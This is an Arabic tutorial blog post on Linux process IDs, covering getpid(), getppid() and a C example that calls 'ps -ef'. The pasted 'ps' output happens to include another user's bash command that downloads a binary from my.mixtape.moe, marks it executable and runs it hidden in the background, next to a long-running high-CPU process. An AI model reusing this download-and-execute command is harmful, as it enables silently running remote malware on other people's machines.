الخميس، 1 أكتوبر 2020

قبول المعلومات

 

قبول المعلومات


قبل أن ندخل في معالجة المعلومات ، نحتاج إلى معرفة بعض الأشياء ، مثل -

ما هي العملية؟ العملية عبارة عن برنامج قيد التنفيذ.

ما هو البرنامج؟ البرنامج عبارة عن ملف يحتوي على معلومات العملية وكيفية إنشائها أثناء وقت التشغيل. عند بدء تنفيذ البرنامج ، يتم تحميله في ذاكرة الوصول العشوائي ويبدأ في التنفيذ.

يتم تحديد كل عملية بعدد صحيح موجب فريد يسمى معرف العملية أو ببساطة PID (رقم تعريف العملية). عادةً ما يحدد kernel معرف العملية بـ 32767 ، وهو قابل للتكوين. عندما يصل معرف العملية إلى هذا الحد ، تتم إعادة تعيينه مرة أخرى ، بعد نطاق عمليات النظام. ثم يتم تعيين معرفات العملية غير المستخدمة من هذا العداد للعمليات التي تم إنشاؤها حديثًا.

يقوم استدعاء النظام getpid () بإرجاع معرف العملية لعملية الاستدعاء.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

تقوم هذه المكالمة بإرجاع معرف العملية لعملية الاستدعاء المضمونة لتكون فريدة. يكون هذا الاستدعاء ناجحًا دائمًا وبالتالي لا توجد قيمة مرتجعة للإشارة إلى وجود خطأ.

كل عملية لها معرّف فريد يسمى معرّف العملية وهو جيد ولكن من أنشأها؟ كيف تحصل على معلومات عن منشئها؟ تسمى عملية المنشئ العملية الأم. يمكن الحصول على معرف الوالدين أو PPID من خلال استدعاء getppid ().

يقوم استدعاء النظام getppid () بإرجاع PID الأصل لعملية الاستدعاء.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

تقوم هذه المكالمة بإرجاع معرف العملية الأصل لعملية الاستدعاء. يكون هذا الاستدعاء دائمًا ناجحًا وبالتالي لا توجد قيمة مرتجعة للإشارة إلى وجود خطأ.

دعونا نفهم هذا بمثال بسيط.

فيما يلي برنامج لمعرفة PID و PPID لعملية الاستدعاء.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

عند تجميع وتنفيذ البرنامج أعلاه ، سيكون الناتج التالي.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

ملاحظة - يقوم نظام وظيفة المكتبة "C" () بتنفيذ أمر shell. الوسائط التي تم تمريرها إلى system () هي أوامر يتم تنفيذها على shell. في البرنامج أعلاه ، الأمر هو "ps" ، والذي يعطي حالة العملية.

يمكن الوصول إلى المعلومات الكاملة حول جميع العمليات الجارية والمعلومات الأخرى المتعلقة بالنظام من نظام ملفات proc المتاح في موقع / proc.


التسميات: